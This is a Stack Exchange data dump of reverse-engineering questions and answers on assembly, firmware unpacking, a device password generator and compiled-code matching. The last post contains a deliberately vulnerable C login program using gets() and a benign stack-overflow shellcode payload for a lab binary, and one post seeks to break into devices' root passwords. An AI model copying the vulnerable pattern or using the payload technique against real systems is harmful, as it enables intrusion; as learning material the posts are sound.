  <row Id="12746" PostTypeId="1" AcceptedAnswerId="12748" CreationDate="2016-05-26T20:01:33.500" Score="1" ViewCount="127" Body="&lt;p&gt;Here is my question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;given a marked C code component, how I can find its corresponding assembly instructions in the compiler produced assembly program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be very easy if the marked component is a function, as long as there is no overlapped assembly program, we can just do a linear search and recognize the function in the compiler-produced code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then how about the marked component is a loop statement? Or even an arithmetic statement? Is there any good solution at this time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone give me some help? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2016-05-26T23:51:40.413" Title="Recognize certain components in the compiler produced assembly program" Tags="|assembly|compilers|decompiler|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12747" PostTypeId="2" ParentId="12730" CreationDate="2016-05-26T20:10:19.020" Score="7" Body="&lt;p&gt;It doesn't quite meet your price limitation, but since nobody else had jumped in, it is probably worth mentioning:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used various versions of the Teledyne LeCroy USB Protocol Analyzers, and they would meet your needs from a capture and download/analyze perspective. I've seen used versions of the older &quot;CATC USB Chief&quot; but they are still about 2x of your target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a functionality perspective, it works like your diagram above; and it is possible to have Computer 1 and Computer 2 be the same box (you end up with two USB cables going to the PC). They are able to capture HID, mass storage, and isoc data. Although make sure you also pay attention to the USB version of your device, as the older capture hardware won't support all the new protocols / speeds.&lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2016-05-26T20:10:19.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12748" PostTypeId="2" ParentId="12746" CreationDate="2016-05-26T23:51:40.413" Score="2" Body="&lt;p&gt;TL;DR: Hope for some magic numbers, or string constants you can xref, or you're in for a lot of manual work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching for an arithmetic statement that doesn't include a very specific magic number, or searching for a loop without any surrounding context, is bound to fail. There's just too much code that's way too similar in your program. So you should at least try to find your function, then match the disassembled function to your source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, you should clarify your use case a bit. What do you have? And what are you looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you have full source code, compile your program with debugging information, and you have everything you need. But this isn't a question for RE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, you have full source code, have delivered a binary to a customer, and for some reason, want the customer to patch the binary instead of sending a new version to them. In this case, recompiling &lt;em&gt;the same version of your program&lt;/em&gt; with the same compiler settings should yield some binary code that, except global variable references and jump destinations, should be the same as your delivered binary had. Comparing partial byte sequences should do the trick, and this is more or less how IDA's FLIRT and many antivirus programs work. Still not a question for RE though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, you have a binary, and suspect it includes some open source library. Comparing the binary with the version of the library you compiled yourself will probably not help you, because unless you use the exact same version of library, compiler version, compiler flags, and probably phase of the moon, your compiler won't produce what the original compiler produced. In this case, magic numbers, or string xrefs, are sometimes helpful. For example, in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12735/where-can-be-assembly-csharp-dll-decrypted&quot;&gt;this question&lt;/a&gt;, the OP is looking for which part of the library does some TEA encryption. In his case it's easy as he has a .so with exported symbols, but if he didn't, searching for byte sequences &lt;code&gt;0x9e3779b9&lt;/code&gt; and/or &lt;code&gt;0xC6EF3720&lt;/code&gt; could help. This is what &lt;code&gt;binwalk&lt;/code&gt; does. Also, those libraries often have error message strings, finding them and their xrefs leads you to the compiled version of the function. If you're lucky, the source code has some &lt;code&gt;assert()&lt;/code&gt;-like macros that didn't get commented out during release compile, in that case you get a very nice match between source code and binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work, things start getting hairy. Once when i had a similar problem, i ended up writing an IDA script that counted the number of &lt;code&gt;call&lt;/code&gt; statements per function, and the number of jumps backwards, i.e. loops. I ran this over the binary i wanted to re, and also over the code i was looking for. Then, i manually matched functions to each other based on the number of calls they had, the number of loops, and their respective position in the source code. You can probably try to be clever and automate the matching, depending on how often you need this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the compiler optimized a lot, you really need to analyze a lot of stuff manually. If your function is small, it might get inlined by the compiler, and suddenly the arithmetic expression you're looking for is repeated in dozens of places. Your loop might get unrolled so there's no loop left to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the creator of the software might have modified the original source so you can't match it to the binary any more. I reversed some software a year ago that gets some encrypted HTML from somewhere and renders it to a bitmap. From the strings within the binary, it was easy to determine that the software uses the &lt;a href=&quot;http://www.dillo.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;dillo&lt;/a&gt; code to do the rendering. But i just wasn't able to match the binary code to the source - first, because i didn't know which version of dillo got used, and second, because they modified the code to decrypt just as much as needed on the fly, and overwrite the decrypted HTML with junk as soon as they didn't need it anymore. So every character comparison and each of the standard string function calls was (probably) replaced in the source, then the replacements got inlined (or were macros in the first place). This trashed my loop counts, subroutine call counts, and everything - i don't think there's any good, automated way through this kind of mess.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-05-26T23:51:40.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12750" PostTypeId="2" ParentId="12651" CreationDate="2016-05-27T18:51:02.697" Score="1" Body="&lt;p&gt;So finally, I used Cycript and attached to the running app process, and consequently intercepted the private key in runtime.&lt;/p&gt;&#xA;" OwnerUserId="16082" LastActivityDate="2016-05-27T18:51:02.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12751" PostTypeId="2" ParentId="10995" CreationDate="2016-05-27T19:06:49.837" Score="0" Body="&lt;p&gt;it's an ARM64 binary. If we're looking at the same sboot.bin, it's actually starting at offset 10:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00000000      0x00000010      DCD 0x10        ; ^P&#xA;0x00000004      0xe99c208a      DCD 0xe99c208a  ; &amp;lt;8A&amp;gt; &amp;lt;9C&amp;gt;&amp;lt;E9&amp;gt;&#xA;0x00000008      0x00000000      DCD 0x0 ; &#xA;0x0000000c      0x00000000      DCD 0x0 ; &#xA;0x00000010      0x14000002      B 0x18&#xA;        -------------------------------&#xA;0x00000014      0x14000000      B 0x14&#xA;        -------------------------------&#xA;0x00000018      0x58000a80      LDR X0, #336            ; 0x168&#xA;0x0000001c      0xb9400000      LDR W0, [X0, #0]&#xA;0x00000020      0xd2b00001      MOVZ X1, 0x8000, LSL #16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try using disarm (&lt;a href=&quot;http://newosxbook.com/tools/disarm.html&quot; rel=&quot;nofollow&quot;&gt;http://newosxbook.com/tools/disarm.html&lt;/a&gt;) since IDA somehow has trouble with this file. (There are also apparently ARM32 bits towards its end)&lt;/p&gt;&#xA;" OwnerUserId="16219" LastActivityDate="2016-05-27T19:06:49.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12753" PostTypeId="1" CreationDate="2016-05-27T22:53:28.663" Score="5" ViewCount="8986" Body="&lt;p&gt;So I have been following some tutorials on assembly and the instructor compiles the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;hello3.asm  attempts to make the code position independent&#xA;&#xA;section .text&#xA;global _start&#xA;&#xA;_start:&#xA;;clear out the registers we are going to need&#xA;xor eax, eax&#xA;xor ebx, ebx&#xA;xor ecx, ecx&#xA;xor edx, edx&#xA;&#xA;;write(int fd, char *msg, unsigned int len)&#xA;mov al, 4&#xA;mov bl, 1&#xA;;Owned!!! =  4f,77,6e,65,64,21,21,21&#xA;;push !,!,!,d&#xA;push 0x21212164&#xA;;push e,n,w,O &#xA;push 0x656e774f&#xA;mov ecx, esp&#xA;mov dl, 8&#xA;int 0x80&#xA;&#xA;;exit(int ret)&#xA;mov al,1&#xA;xor ebx, ebx&#xA;int 0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the message &lt;code&gt;Owned!!!&lt;/code&gt; is pushed into the stack rather than kept in the &lt;code&gt;.text&lt;/code&gt; segment. So, when I try  to execute it, I get a &lt;code&gt;Segment Fault&lt;/code&gt; error!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If instead I keep the message in the &lt;code&gt;.text&lt;/code&gt;, then, everything works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The commands I used to execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; nasm -f elf64 hello4.asm &#xA;$&amp;gt; ld -o hello hello4.o &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="16221" LastEditorUserId="53" LastEditDate="2016-05-28T08:15:28.953" LastActivityDate="2016-06-06T07:41:29.410" Title="Segmentation fault while pushing onto the stack" Tags="|assembly|x86|linux|segmentation|nasm|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12754" PostTypeId="2" ParentId="12753" CreationDate="2016-05-28T10:27:19.773" Score="6" Body="&lt;p&gt;The segmentation fault error doesn't have anything to do with pushing the strings on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used gdb to debug it, and the problem lies at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;exit(int ret)&#xA;mov al,1&#xA;xor ebx, ebx&#xA;int 0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov al,1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax,1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Fixes the segmentation fault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested on Kali Linux.&lt;/p&gt;&#xA;" OwnerUserId="15916" LastActivityDate="2016-05-28T10:27:19.773" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12756" PostTypeId="2" ParentId="12753" CreationDate="2016-05-28T16:27:52.943" Score="2" Body="&lt;p&gt;In addition to the answer by @user2389688 it's important to note that the syscall numbers are wrong if you're doing amd64, as are the passed in registers. Here's a 64 bit abi version which corrects the differences, and provides the intended output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;hello3.asm  attempts to make the code position independent&#xA;; rewrite of hello3.asm to use 64 bit syscall interface&#xA;section .text&#xA;global _start&#xA;&#xA;_start:&#xA;xor rax, rax ; syscall&#xA;xor rdi, rdi ; arg1&#xA;xor rsi, rsi ; arg2&#xA;xor rdx, rdx ; arg3&#xA;&#xA;; write(int fd, char *msg, unsigned int len)&#xA;mov al, 1&#xA;mov di, ax&#xA;;Owned!!! =  4f,77,6e,65,64,21,21,21&#xA;;push !,!,!,d&#xA;;push e,n,w,O&#xA;sub rsp, 8&#xA;mov dword [rsp], 'Owne'&#xA;mov dword [rsp + 4], 'd!!!'&#xA;mov rsi, rsp&#xA;mov dl, 8 &#xA;syscall&#xA;&#xA;; exit(int ret)&#xA;; syscall errors will result in rax having a negative value so you&#xA;; can't just move al&#xA;mov eax, 0xffffffc3&#xA;not eax&#xA;xor rdi, rdi&#xA;syscall&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="1481" LastEditDate="2016-05-29T19:33:34.153" LastActivityDate="2016-05-29T19:33:34.153" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12757" PostTypeId="1" AcceptedAnswerId="12759" CreationDate="2016-05-29T00:24:12.737" Score="3" ViewCount="158" Body="&lt;p&gt;I found a binary on a device I've been working on, it's called &lt;code&gt;genrandpass&lt;/code&gt; and the only user input is a public key (which is a .bin file) that's stored locally on the device. It also gathers some other information, possibly from the environment to produce three passwords (there is a reference to the Box ID using &lt;code&gt;strings&lt;/code&gt;). Looking thru the shell scripts pertaining to &lt;code&gt;genrandpass&lt;/code&gt;, it takes the three generated passwords and:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;uses the first password as the root password&lt;/li&gt;&#xA;&lt;li&gt;uses the second password is called &lt;code&gt;$epass&lt;/code&gt; and the third is called &lt;code&gt;$spass&lt;/code&gt; (I only note the names in case it means anything to someone smarter than I.)&lt;/li&gt;&#xA;&lt;li&gt;it then copies &lt;code&gt;$epass&lt;/code&gt; and &lt;code&gt;$spass&lt;/code&gt; to the dropbear banner file and these are displayed whenever someone connects to dropbear (prior to even logging in).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This makes me think that the developer had intended on being able to use the &lt;code&gt;$epass&lt;/code&gt; and &lt;code&gt;$spass&lt;/code&gt; variables to generate the actual root password. There are a few certificates and one Private key (decryption.pem) on the box itself. Not sure if it's the right key to decipher the code but I'd like to try because I have a few other models of these boxes that I haven't been able to break into yet. I'm just not sure what the correct commands are to try. Any ideas?&lt;/p&gt;&#xA;&lt;p&gt;genrandpass file at &lt;a href=&quot;https://dl.dropboxusercontent.com/u/23091/genrandpass&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/23091/genrandpass&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;examples of the last 2 passwords generated:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;$epass&lt;/strong&gt;: SxTV2Z7TFvU0XKP/lYYTDlKAhlRR2jwkDGbWPF68go/oOx6x4Pr5DeyNRlx9oQGF05sHld/vyXXchmxlbzsVzPIwocWIq3OIr3J+ZFJrJYPss9VE7YWrwpyRlGwTVHDvZGIzCKXcaipJd85ldLiWUrNxMl4g+5kzwVA2a3I8LuiuixRFVmc8ji/W2W5ZeU5FTcbaiNjlpoRHjPFUkvHKJ4nHSfXpZuLDRS53hxcSnb8ZmvTmFP4ITAdyj9Yw+C2pvD+gSEWRB/H+1cFPQOTi7wr/FY8266QEWqGZw30ZEsMCUNCC0DgiIX+H68QKcU8QFYUJC5+vui3BtcOfFXKHZl==&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;$spass&lt;/strong&gt;:&#xA;RtcTy7fJ11XAQi1P2HiZM4MAxMZMA2NlD6wZL8jNYdrSL5i8qtkGztKDccmGqRWgjiVKI7TcVNcX3PhUSB3UfQCAF6KpBvH7NNezkExdwdM3W2mSnXJvyRLpDSJEgALs0wurUrqIYClZOjTc+xiJzOIUP0Gxb4d2ADOaKXHQ6n6H2Ss/1smITjrbXJ1K8RentZu26sAy3DW+zRIxtxnktSAGUscdG1oytlOL15aAROSL27NUcPSoA3+4o76zggq5TspIBTSmidVRUccEdXPyAzZggR0yqGNrm99uJXHlhw4zCW+GzKJFsJSTwDHZvCoeLERCLuyXFVrgmIISKf6E2V==&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8057" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-05-29T19:14:34.943" Title="Help deciphering binary that creates 3 passwords" Tags="|encryption|mips|embedded|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12758" PostTypeId="2" ParentId="12231" CreationDate="2016-05-29T11:06:59.590" Score="2" Body="&lt;p&gt;You cannot bypass it, you must recalculate all required checksums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ubiquiti XW firmware is made from parts below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UBNT &amp;lt;version-string&amp;gt; CRC32(header part) &amp;lt;4byte padding&amp;gt;&#xA;PART u-boot &amp;lt;content&amp;gt; CRC32(u-boot part) &amp;lt;4byte padding&amp;gt;&#xA;PART kernel &amp;lt;content&amp;gt; CRC32(kernel part) &amp;lt;4byte padding&amp;gt;&#xA;PART rootfs &amp;lt;content&amp;gt;&amp;lt;squashfs md5 checksum&amp;gt; CRC32(rootfs part) &amp;lt;4byte padding&amp;gt;&#xA;EXEC script &amp;lt;content&amp;gt; CRC32(script part) &amp;lt;4byte padding&amp;gt;&#xA;END. CRC32(all parts above&amp;gt; &amp;lt;4byte padding&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you replace content of rootfs part, you mast recalculate CRC32 for that part and recalculate CRC in &lt;code&gt;END.&lt;/code&gt; part&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW&#xA;&lt;code&gt;firmware-mod-kit&lt;/code&gt; creates very broken images for Ubiquiti, ignores all content after squash filesystem, and not recalculate final &lt;code&gt;END.&lt;/code&gt; checksum.&lt;/p&gt;&#xA;" OwnerUserId="16231" LastActivityDate="2016-05-29T11:06:59.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12759" PostTypeId="2" ParentId="12757" CreationDate="2016-05-29T11:29:16.020" Score="4" Body="&lt;p&gt;Your code has a function at 0x400960 that looks like a main function, and, omitting all initialization (everything gets initialized to 0) and error checking, looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char input_file_buffer[256];&#xA;&#xA;int finder_id_size=16;&#xA;char finder_id[16];&#xA;&#xA;int temp_256=256;&#xA;char finder_public_key[256];&#xA;&#xA;char password[31];&#xA;&#xA;int temp_32=32;&#xA;char sha_buffer[256];&#xA;char rsa_buffer[256];&#xA;char base64_input[256];&#xA;char base64_output[345];&#xA;&#xA;FILE *fp=fopen(argv[1], &quot;rb&quot;);&#xA;fread(input_file_buffer, 256, 1, fp);&#xA;fclose(fp);&#xA;&#xA;get_finder_public_key(finder_id, &amp;amp;finder_id_size,&#xA;                    finder_public_key, &amp;amp;finder_public_key_size);&#xA;&#xA;make_password(password, 30);&#xA;&#xA;printf(&quot;%s\n&quot;, password);&#xA;&#xA;memmove(sha_buffer+32, password, 30);&#xA;memmove(sha_buffer+63, finder_id, 16);&#xA;run_sha256(sha_buffer, 256, rsa_buffer+36, &amp;amp;temp_32);&#xA;run_rsa_public_decrypt(sha_buffer, 256, base64_input, &amp;amp;temp_256,&#xA;                            input_file_buffer, 256);&#xA;    // base64_encode is a loop calling encodeblock, not a function,&#xA;    // in the original binary. Encodeblock encodes 3 bytes binary&#xA;    // input 4 bytes base64 output.&#xA;base64_encode(base64_input, 256, base64_output, 345);&#xA;printf(&quot;%s\n&quot;, base64_output);&#xA;&#xA;rsa_buffer[32]=htonl(1);&#xA;run_rsa_ks(rsa_buffer, 256, base64_input, &amp;amp;temp_256);&#xA;base64_encode(base64_input, 256, base64_output, 345);&#xA;puts(base64_output);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, (because some of the functions are in a shared libary, a part of this is assumptions) your code:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;generates a random password (make_password doesn't have any input)&lt;/li&gt;&#xA;&lt;li&gt;outputs that random password&lt;/li&gt;&#xA;&lt;li&gt;runs sha256 over a combination of that password and the id of your finder&lt;/li&gt;&#xA;&lt;li&gt;runs RSA &quot;decryption&quot; over the sha output, with the public key coming from your input file (?)&lt;/li&gt;&#xA;&lt;li&gt;outputs the base64 encoded RSA data&lt;/li&gt;&#xA;&lt;li&gt;runs rsa_ks over the different part of the sha output (a 32 byte buffer of something, preceded by a 1, somewhere in the middle of a 256 byte buffer?)&lt;/li&gt;&#xA;&lt;li&gt;outputs the result of rsa_ks.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In RSA, you encrypt a message with someone's public key so the someone can use their private key to decrypt it, or you encrypt something with your private key to prove your identity (because the public key can be used to decrypt it). Thus i wouldn't put too much weight on the fact the rsa function is called &quot;decrypt&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd assume the run_sha function generates a random 32 bit key, uses that to do the encryption, and saves it to what i call &lt;code&gt;rsa_buffer&lt;/code&gt;. Later, run_rsa_ks (ks for key save) rsa-encrypts that sha key. So, if you lose the root password to a device, and ask the vendor for help, they&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use the private key to decrypt the second code, to get the sha key&lt;/li&gt;&#xA;&lt;li&gt;use the private key to decrypt the first code, to get the sha output&lt;/li&gt;&#xA;&lt;li&gt;use the sha key and the sha output to get a buffer that contains your root password, and the finder id&lt;/li&gt;&#xA;&lt;li&gt;verify if the finder id matches the id you told them&lt;/li&gt;&#xA;&lt;li&gt;tell you the root password.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, and as i already said in my comment, this means unless you can crack rsa, and don't have any other means to get the private key, your quest ends here. Unless the vendor used a very weak RSA key, but this isn't very probable when they used the effort they did to secure the root password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I glanced over some of the functions in that libjsonsigner.so, and the &lt;code&gt;get_finder_id_public_key&lt;/code&gt; as well as the rsa functions use a device named &lt;code&gt;/dev/vixs/xcodedrv&lt;/code&gt;, which hints at a &lt;a href=&quot;http://www.vixs.com/index-ee.php/products/product/xcode&quot;&gt;video hardware chip&lt;/a&gt;.  There's a &lt;code&gt;get_certificate&lt;/code&gt; function as well which uses a &lt;code&gt;get_device_certx&lt;/code&gt; function that uses the same device. So at least a part of the certificate stuff, as well as the rsa encryption, seem to be hardware-assisted. This means without dynamical analysis on the actual hardware, good chip documentation, and a &lt;em&gt;lot&lt;/em&gt; of time, you won't get very much farther (and will probably still smash into a wall at some point because of RSA).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2016-05-29T19:14:34.943" LastActivityDate="2016-05-29T19:14:34.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12760" PostTypeId="1" CreationDate="2016-05-29T11:51:02.380" Score="8" ViewCount="11644" Body="&lt;p&gt;I have installed FMK and &lt;code&gt;binwalk&lt;/code&gt;. FMK have an old &lt;code&gt;binwalk&lt;/code&gt; that does not work. So, I ran a fresh &lt;code&gt;binwalk&lt;/code&gt; (from git) as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; binwalk -e wr741ndv4_ru_3_13_2_up_boot(140521).bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in the directory &lt;code&gt;_wr741ndv4_ru_3_13_2_up_boot(140521).bin.extracted/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ls &#xA;120200.squashfs  20400  20400.7z  3CEC  3CEC.7z  squashfs-root  unsquashfs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I compile &lt;code&gt;unsquashfs&lt;/code&gt; with &lt;code&gt;LZMA_XZ_SUPPORT = 1&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; ./unsquashfs -v &#xA;unsquashfs version 4.2 (2011/02/28)&#xA;&#xA;$&amp;gt; ./unsquashfs -h&#xA;SYNTAX: ./unsquashfs [options] filesystem [directories or files to extract]&#xA;[...]&#xA;Decompressors available:&#xA;gzip&#xA;lzma&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I have an error to unpack &lt;code&gt;squashfs&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; ./unsquashfs 120200.squashfs&#xA;Parallel unsquashfs: Using 1 processor&#xA;lzma uncompress failed with error code 9&#xA;read_block: failed to read block @0x23d12a&#xA;read_fragment_table: failed to read fragment table index&#xA;FATAL ERROR aborting: failed to read fragment table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What did I do wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. If anyone have unpacked &lt;code&gt;squashfs&lt;/code&gt; with this version firmware, please share it.&lt;/p&gt;&#xA;" OwnerUserId="16232" LastEditorUserId="53" LastEditDate="2016-05-29T13:25:28.913" LastActivityDate="2019-04-17T16:28:25.997" Title="How i can extract TP-LINK firmware from squashfs?" Tags="|firmware|mips|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12762" PostTypeId="1" AcceptedAnswerId="12766" CreationDate="2016-05-29T21:15:47.713" Score="-1" ViewCount="905" Body="&lt;p&gt;I been trying to smash the stack in an x86_64 machine , the payload gets executed when I use a debugger (gdb) and fails with Segmentation fault&#xA;when I run it normally &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the vulnerable program &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;char *secret = &quot;Password&quot;;&#xA;&#xA;void go_shell()&#xA;{&#xA;    char *shell =  &quot;/bin/sh&quot;;&#xA;    char *cmd[] = { &quot;/bin/sh&quot;, 0 };&#xA;    printf(&quot;Would you like to play a game...\n&quot;);&#xA;    setreuid(0);&#xA;    execve(shell,cmd,0);&#xA;}&#xA;&#xA;int authorize()&#xA;{&#xA;    char password[64];&#xA;    printf(&quot;Enter Password: &quot;);&#xA;    gets(password);&#xA;    if (!strcmp(password,secret))&#xA;        return 1;&#xA;    else&#xA;        return 0;&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    if (authorize())&#xA;    {&#xA;        printf(&quot;login successful\n&quot;);&#xA;        go_shell();&#xA;    } else {&#xA;        printf(&quot;Incorrect password\n&quot;);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled as : gcc simple_login.c -o login -z execstack -fno-stack-protector -g&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASLR turned off &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is My payload in assembly &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;section .text&#xA;global _start&#xA;&#xA;_start:&#xA;xor rax, rax ; syscall&#xA;xor rdi, rdi ; arg1&#xA;xor rsi, rsi ; arg2&#xA;xor rdx, rdx ; arg3&#xA;&#xA;; write(int fd, char *msg, unsigned int len)&#xA;nop&#xA;mov al, 1&#xA;inc di&#xA;inc di&#xA;;Owned!!! =  4f,77,6e,65,64,21,21,21&#xA;;push !,!,!,d&#xA;;push e,n,w,O&#xA;mov rcx,0x21212164656e774f&#xA;push rcx&#xA;mov rsi, rsp&#xA;mov dl, 8 &#xA;syscall&#xA;&#xA;; exit(int ret)&#xA;;xor rax,rax&#xA;mov al, 0x3c&#xA;xor rdi, rdi&#xA;syscall&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1dSBX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1dSBX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl&#xA;print &quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&quot;; // extra padding&#xA;print &quot;\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2&quot;;&#xA;print &quot;\xb0\x01\x66\xff\xc7\x66\xff\xc7\x48\xb9\x4f\x77&quot;;&#xA;print &quot;\x6e\x65\x64\x21\x21\x21\x51\x48\x89\xe6\xb2\x08&quot;;&#xA;print &quot;\x0f\x05\xb0\x3c\x48\x31\xff\x0f\x05&quot;;&#xA;print &quot;\x42\x42\x42\x42\x42\x42\x42\x42&quot;; // rbp&#xA;print &quot;\xd8\xe1\xff\xff\xff\x7f\x00\x00&quot;; //return address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On debugger &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ap5gp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ap5gp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While Executing in a debugger it works fine and the message Owned!!! is printed out , but when I run the file normally I get Segmentation Error &#xA;Any Solution on whats happening here ?  &lt;/p&gt;&#xA;" OwnerUserId="16221" LastActivityDate="2016-05-30T16:36:15.250" Title="Stack smashing in X86_64 leads to Segmentation fault ." Tags="|assembly|x86|exploit|stack|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
